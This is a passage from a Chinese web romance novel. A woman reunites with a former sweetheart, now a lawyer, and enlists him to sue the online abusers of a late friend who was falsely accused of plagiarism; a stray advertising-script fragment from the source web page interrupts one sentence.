马路人行道上,张期期微微抬眸瞥了一眼他的脸色,心中困惑不已,为什么他看起来这么生气? 九年的时间横亘在他们之间,她已经不能够像以前一样毫无芥蒂地直接开口问他了,她动了动手臂,试图将被他死死攥紧的手腕挣脱出来。 陈恕微垂着眸,复杂的情绪在眼底疯狂地喷涌着,察觉到张期期的小动作,他瞳孔一缩,下意识用更大的力气攥紧她的手腕。 “嘶……”张期期忍不住皱起眉头,她看着眼前周身气压很低的陈恕,试探着问道,“陈、陈恕……” 意识到她的疼痛,陈恕抿了抿唇,他立刻放缓了掌心的力道,但还是攥着她的手腕不放。只有紧紧地攥住她,他才能确定这不是他的错觉,他才能压抑下内心的惶恐和不安,她真的出现了,这一次不用再等漫长的九年了…… “陈恕?” “嗯。”陈恕垂眸望着她,心底有股失而复得的庆幸。 咕—— 陈恕一滞:…… 张期期傻眼了片刻,“你饿了?” “……嗯,我饿了。我请你吃饭。” 张期期为难道,“可是……我已经吃过了。” 陈恕嘴角扯了扯,语气凉凉,“怎么?老朋友见面,连坐下来吃顿饭,聊聊你重返故地的感想,这点时间都没有吗?还是……”他语气发沉,“就这么不想看见我?” “我……我没有这个意思。”张期期揪着上衣的下摆,低声解释道。 “那就陪我吃顿饭。”陈恕拉着张期期随手推门进了一家餐饮店,恰好是方才张期期吃的面馆。 店老板闻声,从后厨走出来,见又是张期期,便笑道,“小姑娘是刚才吃了觉得好吃,就把男朋友叫过来关顾我的生意啊,谢谢了哈哈。” 男朋友……张期期脸色猛地一下子涨红起来,尴尬不已,他们都九年没见了,学生时代也只是彼此喜欢而已,并没有落下男女朋友的名分,现在更不可能是了…… 她着急反驳道:“不……”不是的。 一旁的陈恕眼眸一沉,直接打断她的话,微笑着扬声道:“老板,要份招牌面汤。”也是老板说的话,他才意识到她刚才是真的吃过了,不是故意找理由想逃避他,想到这一点,他心底稍微觉得好受了一些。 店老板乐呵呵地笑着,“好勒……不过你得劝劝你女朋友啊,都这么瘦了可不能减肥啊,减肥伤身体啊。” 陈恕闻言顿了下,视线在张期期的脸上掠过,他微笑着看向店老板,“您说得对。” 店老板还待絮絮叨叨,后厨跑出了一个脸蛋稍圆的女孩子,对方气鼓鼓地拉着店老板低声道:“别叨叨了,赶紧进来干活。” 女孩子又笑着朝张期期道歉道,“不好意思,我爸就是自来熟,冒犯你们了。” 张期期笑着摇了摇头,“没事。” 后厨内隐隐约约传来父女俩压低声音的争吵,“爸,别人的事你少多嘴行不行?” “哎,我这不是怕你们年轻人乱减肥吗?你也是,你说说今天中午是不是减肥没吃饭?” “爸,你别说了。好烦呐……” “嘿,你还嫌我烦……” …… 张期期眼神微暗,后厨的那对父女看起来都在抱怨对方,但话语里夹杂的关切却是怎么挡也挡不住的。当年张世明伤透了她的心,她径直离开后,手机又在刚到鹿海市的时候被偷了,因此也不知道后来张世明到底有没有找她。 不过……这一切都无所谓了,当年她离开之后,张家和陆家的联姻不成,张世明鉴于迫切想跨入其他行业的心,最终选择和张雅兰结婚,现在他们俩之间连儿子都有八岁了。 陈恕就坐在张期期的对面,见她神情有异,他忍不住也心生异样的感觉,就这么不乐意吗?只是和他扯上关系就让她这么难受? 店老板将面汤托上来放在他桌前的时候,说了句“请慢用”之后转身就走,不知道是不是被女儿说了一顿。 陈恕拿起筷子和勺子,神色淡淡地开始吃起来。 店内仅有他们这一桌客人,暖黄色的灯光、食物的香气让这个餐馆充满了温馨、平和的感觉。 微垂着眸、无意识绞着指尖的张期期心情慢慢平缓下来,今日浓烈暴起的情感波动消耗了她一直以来本就不怎么好的精气神,这一刻她深深觉得疲倦不堪,只想赶紧回酒店休息个十分钟,然后再取证。 小说网站的管理人员并不会在还未取得她的同意前发布柏雪的讣告,而这段时间正是留给她取证的时间,之后她会一一取证,一一将他们告上法庭。 张期期沉浸在自己的思维、情绪当中,陈恕微垂眸,边吃的时候余光边悄无声息地瞥过她,从刚刚坐下到现在,她看都没有看他一眼。 陈恕内心泛起无边的苦涩和无力,她的眼里再看不见他,他的任何事情似乎都无法引起她过多的情绪波澜,她自见到他之后总是低垂着眼,寡言少语,完全没有九年前那样眼里心里全是他的模样。 但……即便如此,这一次他一定要留下她。 陈恕将筷子放下,抽了张纸巾擦了擦嘴,随手将纸巾攥成一团握在手心,他微微往后坐了坐,倚靠在沙发上。 他语气平静淡漠,“怎么突然回京照市了?不是一年只回来一次吗?” 张期期闻声抬眸,望着眼前的陈恕缓缓眨了眨眼,陈恕…… 阔别九年,再一次见到她如此直白地盯着他看的眼神,陈恕忍不住头皮发麻,却也暗自窃喜,他调整了下坐姿,压下同少年时期一样心底微微的不自在感。 她要说什么?她想对他说什么?她会说什么?陈恕下意识攥紧了握住纸张的掌心,下颌角绷紧。 “陈恕……” “嗯。”陈恕抿了抿唇,等待着她开口。 “我想问问,你怎么收费?你很厉害吗?” 陈恕脑门一下子卡壳了,他早就不再是青涩懵懂的少年了,在国外呆过几年的他多多少少听了好一些颜色废料,所以这会儿思维一度朝着不可言说的方向狂奔。 他指尖颤抖了一下,艰难道:“你知道你在说什么吗?你是认真的吗?” 张期期微微歪了歪头,眼神坦荡,“我知道啊!” 那张黑色烫金的名片被她妥帖地安放在背包内的小隔间,她查找过金颂律所的资料,自然也知道这是京照市这几年来突飞猛进的新律所,评价和口碑都不错,但她还是想问问陈恕本人,以陈恕的性格他一定会实话实说,而她这次一定要找一名真正厉害,能够确保打胜官司,将那些人全部告成功的律师。 “你……你……”陈恕听见自己的心脏疯狂跳动着,喉咙开始觉得干燥发热,他硬着头皮道:“如果你想的话,不用钱。只要我们是……”男女朋友的话,就不犯法。 至于厉不厉害……他想,以他在大学时参加的各项体能运动,他应该很厉害吧。 后厨房内,店老板父女干瞪着眼,你看我,我看你,震惊不已。这是在他的店里约P吗?店老板的手蠢蠢欲动,他要拨打报警电话扫黄!! “那不行,我希望按照正常的诉讼费来吧。” 诉讼费?陈恕一路跑偏的思绪突然来了个急刹车,诉讼费…… 「你怎么收费?你很厉害吗?」他的脑海里突然浮现刚才的话,原来是这个意思吗……陈恕伸手捂住额头,一时间不知道该是松了口气还是遗憾更多些。 张期期语气不确定地问,“是……怎么了吗?” 陈恕放下手,神情已经恢复成正常的样子,他皱起眉头沉声道:“你要请律师?” “嗯。” * 当张期期表示要请陈恕这个律师时,陈恕提议到他的律所谈话比较好,张期期也就顺从地点了点头,确实面馆并不是一个说话的好地方。 两人在后厨店老板父女松了口气的目光中离开。 张期期刚坐上陈恕的车,系好安全带时,陈恕很明显地顿了下,张期期见状,便低声疑惑地问道:“怎么了?” 陈恕皱了皱眉头,上下摸索了一下西装的口袋,随后道:“抱歉,律所的钥匙好像忘记带了……” 张期期闻言,礼貌性地笑了笑,“那明天再聊吧,我现在先回酒店。”她推了推车门,门没推动……她转过身疑惑地望着陈恕,不明白他为什么不给她开车门。 汽车狭小的空间内亮着一盏小小的黄色车内灯,视线变得暧昧不明,男人眼底的情绪隐没在昏暗中,让人看不清他在想什么。 “陈恕?”张期期轻声问道,不知道为什么这一刻她内心忽然有些忐忑。 车内气氛凝滞,就在张期期忍不住坐立不安起来时,陈恕忽然笑了一声,神情堪比她见过的每一次都要温和,他侧首笑着轻声道:“为什么住酒店呢?我们这么久没见面,去我家坐坐吧。” 去……去他家坐坐?张期期微微睁大了双眼。 唔……瞪着眼睛的这个样子才像九年前的她呢,陈恕嘴角带笑,温和笑眯眯地望着她,他看着眼前的她慢慢涨红了脸,眼神开始变得闪躲起来,内心暴戾的冲动终于得到了丝丝的缓解。 “算、算了吧。我住酒店蛮方便的。” 陈恕若有似无地微微颔了颔首,在张期期以为他点头表示赞同的时候,突然眼神认真地盯着她,“期期,你是在防备我吗?我只是觉得作为朋友,这么多年没见,找个地方聊聊挺好的,忘记带律所的钥匙确实给你造成不方便了。” “我没有这么想,只是……我只是怕影响到你休息而已。”张期期只是有些尴尬,倒也不至于不信任他。 “是吗?”陈恕笑了笑,他不等张期期回答,继续道:“不会影响到我休息的,案件更重要。” 案件……张期期脑海中闪过被白布遮盖住的柏雪,眼底漫上沉重的阴影,浑身散发着悲伤和晦涩的气息,“嗯,拜托你了。” 陈恕握着方向盘的指尖微微紧了紧,一脸严肃地驱车前往他的住宅。 * “进来吧。”陈恕拧开了套房的大门,随手将公文包放在玄关的柜子上,他弯腰从鞋架上拿了一双新的拖鞋放在了张期期的脚前。 张期期顿了顿,从顺如流地换了拖鞋。 ……九年的时候虽然漫长,但京照市中心的大体建筑还是没有多大变化的,因此从汽车开往这边时,她一路看过来直到现在出现在他的家里,她就知道陈恕真的很优秀。因为这里的房价很贵,而他已经能买得起这里的房子了。 陈恕转身往客厅走去,坐在了单人沙发上,张期期见状便跟上了,坐在了单人沙发旁的长型沙发上。 她坐下了,陈恕的余光瞥过她脚上的拖鞋,他就知道会合适的,他买了房子之后也就先哥来看过一次,再者就是她了,她终于踏足了他买下的家。 沙发旁有一个与沙发等高的柜子,上面放着杯子和饮水机,陈恕倒了两杯温水,一杯放在了张期期前面的茶几上。 “谢谢……”张期期道。 陈恕扯了扯嘴角,喝了口水后,将杯子放下,多见外啊,以前他帮她打水,她从来都是理所当然,甚至有时候还会抱怨他不给她打凉水。 算了…… 他正了正脸色,说回正事,“你要请律师是怎么回事?发生什么事了?” 闻言,张期期脑海中瞬间浮现那些字字句句仿佛带着无尽恶意的话语,耳边仿佛能听到那些人不怀好意的叫嚣,她心中翻涌着怒意,那些日子柏雪承受了那么多的痛苦。 柏雪……柏雪!她下意识攥紧手心,指尖按在了掌心上,微微刺痛的感觉令她恍然回过神来,对上陈恕皱起的眉头和担忧的眼神时,她抿了抿唇,随后哽着嗓子艰难地说着。 …… 陈恕边听边若有所思,即便张期期再难过,他都没有打断对方的话,一直到对方说完事件,说出了她的诉求之后,他才抽了张纸巾递给眼眶发红,泪流不止的她。 张期期接过纸巾,随手按了按发红、干涩的眼眶,她低声道:“我要告他们,柏雪不可能抄袭的,在飞机上的时候我已经看过了她的文章……她故事的主人公其实就是她自己。” 柏雪正在更新的小说是刑侦类型的,里面的主人公是家里三代都当缉毒警察的,而且主人公的爷爷奶奶、父母都已经牺牲了,主人公也在一次任务中重伤后从一线上退了下来,转成了队里的文职警察。 不同的是,小说里文职警察最终克服了身体的因素回归了一线,而事实中因为身体的原因,柏雪永远无法回归一线,她曾告诉过她,因为不想看见同事、上司们看着她时可惜的眼神,她还 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是辞了文职工作,转而在家写起了小说。 她说过,她高中父母还在的时候,她未来的梦想是想当个小说家,然而父母双双在任务中牺牲之后,她却报考了警校。 …… 张期期将她所知道的一切娓娓道出,最后她双手掩面悲痛道:“没道理柏雪要遭遇这些啊……她已经很苦了啊。” 陈恕沉默了,他的情绪不可控制地被感染了,好半响他才找回声音道,“我们抓紧时间,在网站还未公布柏雪的讣告之前,将那些言辞激烈、不文明不礼貌带着侮辱性去攻击对方的言语取证,避免后续他们删除了那些文字,而我们找不到证据。” 闻言,张期期从双掌中抬起了头,她吸了吸鼻子,“我知道,我已经截屏、录屏了一部分人,特别是那个占着自己有几百万粉丝没有做调色盘,仅仅靠几行字就挂了柏雪的大作者。” 她还纵容自己的读者剿了柏雪小说的评论区,那些人为她冲锋陷阵,不惜以最恶毒的话辱骂柏雪。想到这里,张期期声音都冷了下来。 陈恕颔首,将自己的笔记本电脑拿出来,他询问了张期期之后登陆了网站,翻阅到柏雪小说的评论区,和张期期开始截屏、录屏,以及记录那些人的ID号,除此之外,还有其他平台上辱骂了柏雪的用户全部被记了下来。 两天一直忙到凌晨两点多,最后他们整理了一下,发现名单上共有上千人。 陈恕拧了拧眉心,道:“你确定这么多人你都要告吗?这里面有部分人告了也……” “我知道,就算有部分人因为言辞没有激烈告了也没能让他们得到多大的惩罚,但我还是要告,法院的传票至少能吓吓他们,我要他们道歉!向柏雪道歉!” 陈恕懂了,“主导这一切的那个大作者,以及……”他看着手机里的证据和文档上的名单,继续道,“有将近两百人是可以告的,他们会付出应有的代价的。” “好。” “明天我会将这些帖子和言语先打印出来,到公证处公证,接着拿着公证书到法院起诉被网暴的平台,要求平台提供那些涉嫌侵权人个人信息。之后我们便可以拿着公证书和对方的个人信息到法院进行起诉了。” “好。”张期期点头。 …… 夜色静谧,窗外树影摇曳,陈恕看了一眼时间,他伸手揉了揉眉心,从昨天到现在,赶了两趟飞机,又忙活了许久,他眼底泛上了疲倦。 张期期也疲惫不堪,她的精神和身体已经达到了快倒下的边缘,暖光灯下她眼皮一颤一颤地,仿佛下一秒就要睡着了。 她强撑着起身道:“那……后续……我天亮之后去律所找你。现在我先回酒店了。”她认真道,“陈恕,谢谢你。” 张期期抬脚欲走,然而转身时却感受到手腕上的禁锢,她回头缓缓垂下眼帘,目光落在陈恕攥着她的手掌上。 还未等她开口,坐在沙发上的陈恕抬眸,眼神带着极强的压迫感道,“我很累,没办法送你去酒店。” 张期期连忙道,“不用不用,我自己去就行了。今天……”谢谢你了。 陈恕紧紧地攥着,视线落在她白皙纤细的手腕上,打断她的话,“让你一个人去酒店也不行,太晚了,不安全。你留下来吧……家里有客房,你可以住。” “陈恕……” 张期期待要拒绝,陈恕抬眸,目光灼灼地盯着她,“怎么?担心我对你做出什么吗?”男人低沉的自嘲声在寂静的夜色中回响,“我是律师,不会持证犯法的。”但这一次他无论如何都会留下她。 张期期咬了咬唇,“你别这么说,我没有不信你。” 陈恕微微笑了笑,攥着张期期的手腕站起身来,顺带着把她放在沙发上的背包也拎了起来,“那……我带去你去房间休息吧。” 他不容置疑地攥着张期期的手腕将人带到了房门面前,松开手的瞬间,身体挡住了走廊通道,见张期期还站在房门前,没有想跑的样子,他紧绷的身体才稍微缓解了一些。 陈恕推开房门,温声道:“这个房间里有卫生间,比较方便,你今晚就这里。” 张期期下意识打量了一眼,干净整洁,房间内没有多余的物品,甚至连床单都没有一丝褶皱,她垂眸点了点头,小声道:“好,谢谢。” 背包被陈恕拎着放在了房间的桌子上,随后他走出去将门轻轻关上,边说道,“早点休息。”看着关上的房门,陈恕的眼底闪过浓郁的暗色,视线在房门把手上静静看了许久,唔……好像只能从房门内反锁,做不到外部锁住。 这个念头在陈恕的脑海中一闪而过,他疏忽间无奈地扯了扯嘴角,自嘲道,囚禁是犯法的……不过,那间房间倒不是客房,没关系的吧,只有那间主卧有卫生间,女孩子还是得配有卫生间才比较方便。 …… 关上房门后,张期期这才认真地打量起房间来,白色的乳胶墙漆,沉色的木质家具,窗帘、床单也全是暗色系的。 唔……张期期皱了皱眉头,太压抑了…… 疲倦侵袭而来,她收回视线,没有随意打开房间内的衣柜,从自己的背包中拿出洗簌用品和睡衣就往浴室内走去。 浴室内灯光明亮,同样干净整洁,洗手台上整整齐齐地放置着男士的洗漱用品,因为太过整洁、有序,所以张期期一眼看过去以为这只是像酒店一样给可能来住的客人备好的用品而已。 她洗了个热水澡,浑身的疲倦褪去一些,将自己收拾完之后她走出了卫生间,爬上了那张铺着暗色四件套的大床。 房间床头有一盏小台灯,张期期不得不感叹设计的贴心,将其他灯光关闭,只留下一盏小灯,她舒服地陷在床上。 陌生的房间、陌生的床,四处静悄悄的,灯光昏暗,张期期闭上了双眼,然而不知怎的,或许是视觉的关闭,让她嗅觉格外地灵敏,她总觉得这张床上好像有股若有似无,隐隐约约来自陈恕身上的清冽的味道,她习惯睡觉抱着被子,就好像整个人埋在陈恕的怀里一样。 一想到这里,她忽然睁开了双眼,定定地望着雪白的房顶,浑身觉得不自在起来。 与此同时,另一边,在真正的客房内的陈恕躺在床上此刻嘴角微微扬起,他一想到她睡在他的床上,瞬间头皮发麻,心底荡漾着充实的满足感。 男人微微侧首,视线落在床头柜上的钥匙,这是套房大门的钥匙,可以用钥匙将套房的大门锁住,这样子,她就算想从套房出去也没办法。 只要她不想趁他睡觉的时候偷偷走掉,她就不会发现他的动作,但如果她发现了,那证明她就是又想直接走掉了……真到那时……陈恕望着房顶,心道,他也不知道会怎么样了。 虽然理智上他知道案件还没解决,她不可能走的,但万一呢……他可不会再等九年!还是稳妥些、考虑得谨慎一些比较好。 躺了片刻,陈恕蓦然起身,眼眸中闪过微光,他轻手轻脚地走到房间,在主卧的房门口站定了一会儿,听到里面还有动静,便意识到对方还没睡,他心情颇好地往厨房走去,泡了一杯牛奶之后轻轻敲了敲主卧的房门。 细微的脚步声响起,穿着纯白棉质睡衣裙的张期期轻轻打开了房门一小条缝,昏暗中她的神色还是疲倦的,她声音低哑,瓮声道:“陈恕……怎么了?” “喝杯牛奶会睡得更舒服。” 陈恕稍一垂眸,便能看见她睡裙领口处大片白皙细腻的皮肤,在暖色的灯光下格外的具有吸引力,他一侧的指腹忍不住捻了捻,很想狠狠揉搓着她露出来的皮肤,让上面沾染上他的体温。 口干舌燥,头皮发麻,心跳如擂鼓,他内心的欲、望蠢蠢欲动。 张期期微微抬眸望着他,男人压迫感、侵|略感十足的眼神让她完全招架不住,她下意识垂下了眼眸,缓缓伸手接过他手中的杯子,小声道:“哦,谢谢。” 陈恕微微笑了笑,余光顺着门缝瞥了一眼卧室内,昏暗的小台灯亮着,因此他看见了床头柜上放着的一个小罐子。 ……那是她的东西,不过看起来很像是药瓶子? 陈恕下意识皱起了眉头,目光在她的脸上流连,突然问道,“你在吃什么药吗?” 张期期愣了下,下意识转身望向她刚才吃完之后随手放在床头柜上的药瓶,她卡壳了片刻之后,小声道:“没什么…就是维生素而已。” 维生素?陈恕犀利的目光看着她好半响,见她始终微垂着眼帘,将这件事放在心上后,他语气淡淡地颔首,“嗯,那你早点休息吧。” “好。”张期期攥着温热的玻璃杯,垂着眼将房门关上,这才狠狠松了一口气,她走过去将牛奶放在床头柜上,又赶紧把药瓶塞回了背包里。 将牛奶一饮而尽之后,张期期揉了揉开始发麻的后脑勺爬上了床,平直地躺在床上,两手交叠着放在肚挤眼上,她闭上眼努力放空自己的大脑,控制自己呼吸的节奏,酝酿着睡意。 良久,她缓缓睁开眼睛,呼吸开始急促,认命地拿过床头柜上的手机看了一眼时间,已经四点五十了,她还是没睡着…… 烦躁地翻了个身,最后她还是采取了最开始爬上床的那个姿势,只有那个姿势她才有一点点可能睡着,她闭上双眼,企图让自己有节奏的呼吸声催眠自己的睡意。 片刻后,她面无表情地坐起身,伸手将盖着脚的那一部分被子铺平,嗯……不然睡不着。 半响后,她爬起来上了个厕所,嗯……好了,现在厕所也上了,被子也平了,姿势也没错,现在她一定能睡着。 闭上眼,放空大脑……放空大脑,别想别想。 昏暗中她感觉心跳在加速,这是她睡眠不够时,情绪波动一大,就会这样,一直到折腾到天色微微亮,张期期这才缓缓进入了睡眠中。 与她一墙之隔的陈恕拧了拧眉心,听着那边彻底安静下来,他也才放松了身体渐渐入睡,半醒半梦间,他的脑海中掠过一个思绪,期期是认床所以才睡不着的吗?还是和她床头柜上的药有关系? …… 109. 第 109 章 - 翌日,刺眼的眼光从两片窗帘未重叠的缝隙间穿透,落在了房间的黑胡桃木的木质地板上,仿佛一大块柔黄的蜜蜡一般。 张期期缓缓睁开了眼,耳边静悄悄的,没有镇上的居民走过她家院门前的说话声,拖拖踏踏的脚步声,她眨了眨眼,视线转了转,这才想起来现在是在京照市。 她在陈恕家里! 张期期猛地掀开被子,坐起来,伸手拿过手机看了一眼时间,十点半!十点半了!她怎么在别人家里一睡睡到这个点,尴尬死了,她连忙爬下床到卫生间里快速洗漱和换衣服,并且将自己的所有东西都收到了随身的斜挎包里,最后将被子铺平整齐。 环顾了一圈之后确认没什么问题,她这才定了定心,深吸了一口气,小心翼翼地打开了房门走了出去。 一走出房间,她立刻闻到了饭菜的香气,张期期愣了愣,有些尴尬和不自在,她攥着斜挎包的带子准备走过厨房门口,然后走到客厅将背包放下。 但……她刚走到厨房门口时,陈恕突然回过身来,他手上还拿着一个小碗,碗里放着翠绿色、切好的葱。 男人的视线顿时落在张期期背着的斜挎包上,这是她回京照市时全身上下带着的行李,一看便知道她只是短暂地回来一趟。 陈恕的心情止不住地泛起失落和难堪,他脸色难看了一瞬间,但见张期期似有所觉地抬眸望过来时,他迅速换了表情,微笑道:“醒了?你先坐一下,早饭马上就好了。茶几上有温水,可以先喝杯温水。” “哦……好。”张期期看着穿着灰色家居服的陈恕在厨房里忙着的样子,她略感十分不自在,而且已经快十一点了,这……早饭吗? 她焦躁不安地坐在沙发上,手上捧着一杯温水慢慢地喝着,这种别人在厨房里忙,而她闲得坐着的感觉让她坐立不安。 好在没一会儿,陈恕便探头道:“可以了,过来吃早餐吧。” 张期期将水杯搁在茶几上,慢吞吞地走过去,她不知道他们之间的画风怎么突然就变成这样了,但见陈恕一副很正常招待朋友的样子又觉得好像是自己大惊小怪了。 她默默地坐下,看着餐桌上她的面前是一碗加了荷包蛋、葱花、番茄、几片肉饼的汤面,香气缭绕,一看就让人很有食欲,如果没有上面那几块肉饼的话…… 张期期眼神晃了一下,扯起嘴角,抬眸笑了笑,“谢谢。” 谢谢……这两个字她从昨晚说到现在,陈恕垂眸率先拿起桌上的筷子,也就错过了对面张期期眼底一闪而过的挣扎。 他道:“不用客气,反正我也要吃,煮多一碗也不是什么事。” 虽是这般说着,但其实他厨房里的冰箱内什么也没有,空荡荡的,面条、葱、肉饼、鸡蛋都是早上他起床后去超市临时买的,还好她起得晚,不然就撞上家里什么也没有的窘境了。 “嗯……”张期期垂眸拿起筷子,迅速将几块肉饼压到了最下面,只要不看见,她就不会去想,就不会想吐。 餐桌上,陈恕、张期期各自无声地吃着,并没有交谈什么,只有偶尔勺子、筷子碰在碗边时响起细微的磕碰声。 张期期垂眸静静吃着,但是碗底剩下的那几块肉饼无法藏了,她顿了顿,虽然有些尴尬,但还是放下了筷子,小声道:“我吃完了。” 陈恕也跟着放下筷子,他站起来收拾碗筷,余光扫过她的碗底便见他特意给她放的肉饼她并没有吃……明明高中在食堂吃饭的时候他记得她顿顿都喜欢加肉饼的。 张期期小声道,“我来洗吧……”她怎么好意思早饭他做,碗也他洗啊! “不用,我来比较快。” “……哦。” 她尴尬地看着陈恕自己一个人在厨房收拾,眼前的这一幕让她想起了高三的时候陈恕在学校食堂勤工俭学洗碗的时候,那时的她见他要洗那么多碗,便想帮他一起洗,只不过…… 张期期眼底露出一丝怀念,她微微笑了笑,还好学校的餐盘都是不锈钢的…… 其实,对于这些家务活,她已经很顺手了,那么多年过去,她总要学会照顾自己一些,更何况后来姥姥生病,姥姥的衣食住行都是她在接手。 陈恕洗完碗之后,下意识地走向主卧,准备换衣服出门,然而走到主卧门前时他突然脚步一滞,转而走向阳台,还好阳台上有晾晒着他前两天的衣服。 他走过张期期的面前,穿过客厅前往阳台,张期期的目光下意识地跟着他,只见他伸手一举就将阳台上的衣…… 那……那是他的内……内裤、、、 张期期疏忽间脸一烫,立刻收回视线,垂下眼眸,望着自己无意识纠在一起的指尖。 而在收衣服的陈恕也是到了阳台才注意到阳台的角落位置处晾了一个他的内裤,他手一滞,立刻将所有衣服推到一起再一起拿下来,以此想要用其他的衣服挡住内裤。 男人的耳朵漫上一层红霞,他目不转睛地望着前方,将手中的衣服团成一团,看似淡定地走到了房间内。 一进房间,他嘶了一声,抬手无奈地捂住了上半张脸。 半响后,陈恕换上了一身正装,收整好了表情,神色自若地拿着公文包走出了房间,“走吧。” “哦,好的。”张期期垂着头跟在他的身后。 * 到金颂律师事务所的时候正值中午十二半点,是律所内的员工下班准备出外觅午食的时间。 律所内,方宜忙完手头的工作后抬起了头,整个人无力地靠在椅背上,八卦道:“老板今天居然没来律所,真是稀奇啊。” “出差吧……老板那个工作狂,不是去工作,难道还能是去约会不成。” “可是出差的话,小林怎么还在这?” 助理小林:…… “别问我,我也不知道。”他撇了撇嘴,继续道:“不过老板今天早上打电话给我,让我把我们律所收拾一下,别整得乱七八糟的。” “没错,说的就是你们,还不整理一下你们的桌面,这都什么资料啊,满桌都是……” “啊,这样子吗?难道是……”方宜惊讶道:“难道是要来什么大客户了吗?你们快收拾啊!” “也有可能是老板这个单身汉,终于开窍了,要带妹子来他的律所看看他的个人实力??” 这个推断一致获得同事们的白眼,“怎么可能,老板的恋人就是工作吧,信老板春心萌动,还不如信我是秦始皇转世。” 话语刚落,律所的门就被推开了,只听见最后半句的陈恕和张期期:……?? 陈恕无奈道:“你们是学法律的吧,学法律的人还那么唯心吗?秦始皇转世……?”他哼笑了一声。 刚刚还闹哄哄的律所仿佛突然被按了消音键一样,众人哑口无声,全员卡顿,片刻后他们突然间忙了起来,翻资料的翻资料,按键盘的按键盘…… 陈恕视若无睹,朝着张期期低声道,“跟我去办公室。” 张期期轻轻点了点头,跟在陈恕的身后往他的办公室走,她的余光大致掠过这个复式的律所,共上下两层,底层是员工办公区域和大的会客厅、茶水间、杂物室,上层面积小一点,两间大的办公室、另一间会客厅。 她顺着楼梯走上上层时,余光在楼梯墙上的一副画顿了一下,这幅画是她还在生病时画的,用色和寓意都非常负能量,怎么会挂在这呢? 陈恕知道这是她的画吗?这个念头在脑海中闪过之后,张期期瞬间否定了,她卖出去的画从来没有一位收件人名字叫陈恕的,想来应该是律所内的员工布置的吧。 身后的脚步声停了片刻,陈恕回过头来,见张期期望着楼梯墙面发愣,他也顺着对方的视线望过去,他看了看并没有发觉什么,便道:“怎么了?” “没什么。”张期期笑了笑,这是她的画又怎么样,即便她的画挂在他的律所里,他们之间还是九年未见。 …… 办公室内。 张期期拘谨地坐在双人沙发上,斜挎包放在了身旁的位置,陈恕翻阅着桌面上的资料,这些资料也是他早上发给助理小林,让他先打印出来的。 拿到了资料之后,陈恕望向一旁的张期期,她沉默着垂头刷着手机,神色突然难看起来。她猛地抬眸,眼神里闪烁着愤怒的光亮,急声道,“陈恕,网站已经发布了柏雪的讣告。” “为什么……可是为什么?”张期期惶惶道,她看着讣告一出,不利于柏雪的舆论却没有半点消退,反而愈演愈烈了,“为什么这些人对生命毫无敬畏之心的吗?什么诋毁的话都能说出口,甚至连柏雪去世了都没能放过她吗?” “凭什么啊!” 张期期看着那些不堪入目,饱含恶意的文字满心愤恨,她握着手机的之间颤抖着,整个人绷得紧紧的,情绪越渐失控。 陈恕面色一肃,一手夺过她的手机,一手用力地按着她的肩膀,“冷静点,听我说。” “凭什么!凭什么!为什么这些人按按键盘就能说出这些毫无根据的话,当年陈恕你的事也是这样,现在还是这样,隔着网线所有人便能这么为所欲为吗?” “冷静点!期期!冷静点!”陈恕沉声命令道。 思维极度混乱的张期期就像鼓胀的气球突然瘪了一样,浑身卸力地坐在沙发上,神色颓然,“我要怎么办才好,怎么办才好……” 陈恕抿了抿唇,沉思一会后,道:“既然舆论的声音那么大,我们自然也要做出回应。” “做出回应?在网络上宣布告他们呢?”张期期微微睁大双眼急切地盯着陈恕看。 陈恕沉吟道:“现在我们先去公证,拿到公证单之后,去一趟法院起诉平台,要求对方给出用户信息,再对这些人一一提起诉讼。” “至于舆论方面……”陈恕顿了顿,突然低声下来,“你还记得林听吗?” 林听……张期期脸色白了白,眼底闪过浓浓的愧疚和自责,她怎么会不记得呢? “嗯。我记得……” 陈恕心底泛起苦涩,他闭了闭眼睛,压抑住眼中复杂的情绪,语气镇定道:“林听就是媒体记者,她所在的公司在媒体界是公认的权威,舆论上可以交给她,我们找她做个采访,与其让其他人擅自揣测,还不如我们将事实说出来!” “事实……”张期期眼底闪过无尽的挣扎,她之所以不愿意最开始便在网络上回复关于柏雪抄袭那个大作者的小说这件事,就是因为柏雪小说的人设和经历都是真实的,那么沉痛的过去历时一家三代人,又是极为敏感的缉|毒这件事,柏雪想来也不愿意她死后的风波侵袭到已经去世的家人身上。 正是因为了解柏雪,张期期才犹豫不决,但她又无法看着好友死后还要被泼脏水,她是英雄的后代,也是英雄本人,总不该一直受此诋毁吧。 陈恕声音低沉,带着一丝丝的感慨和沉痛,“清清白白的人自然要清清白白地走,错的不是柏雪,她没错,我们就不需要瞻前顾后!该心虚的是那些别有用心的人。” “好。柏雪不在了,事实是什么样的,我作为她的朋友有必要为她争最后一口气说出来,不能让所有人平白无故地污蔑她。” 决定了之后,张期期吸了吸鼻子,咽了咽冲到喉咙上的酸意,她背上斜挎包跟着陈恕去公证,去法院,去起诉…… 一直到下午五点多,政府单位正好要下班前完全搞定,拿到了法院受理案件的回执,至于法院的传票还要等后续一一寄到被告者的手中。 * 下午六点,星缘大厦一楼咖啡厅。 张期期、陈恕找了个角落里的小包间面对面坐着,旁边是一整面透明的玻璃墙,玻璃墙外人潮汹涌,摩肩接踵,现在刚好是下班的时间。 张期期抱着怀中的帆布单肩包,薄薄的帆布包边角突出尖利的边角。这些东西是张期期去法院公证起诉之后又去了柏雪的家里拿出来的东西。 那间房子好一阵子没人,阳台上养的绿植都开始枯萎,客厅的茶几、厨房的饭桌等等都开始落上了一层薄薄的灰层。 放在茶几上的水杯里还有着没喝完的水,撕开的零食包里也有还没吃完的零食,一切生动而自然,仿佛还在等着房子的主人哪一天突然打开门,大喊一声「我回来了」,那间房子就会再次活过来。 但张期期知道,一切都不可能了,她小心翼翼地找到了可以证明柏雪曾经是警察身份的证件,还有他们一家三代人为国家奉献的证据…… 拿了这些东西之后,张期期在心中低声道,柏雪,这些东西可以为你说最后的话,我用完就会全部拿回来放好的,你放心。 她望了一眼这间房子,最后锁上了门跟着陈恕来到了星缘大厦这里,他们约了宏图传媒的记者,林听。 …… 京照市一到下班的时间段,道路都是拥堵的,车窗外鸣笛声不停,还有路怒症的人怼着方向盘砰砰砸。 林听坐在副驾驶上,手撑着侧脸,冷淡地望向窗外,仿佛无论什么事都无法引起她过多的情绪波动。 坐在驾驶座正握着方向盘开车的朱亚光余光瞥了一眼一旁的林听,她以优秀的成绩从京大新闻系毕业,一毕业就进了宏图传媒,几年的时间她已经是公司内公认的可靠的前辈了。 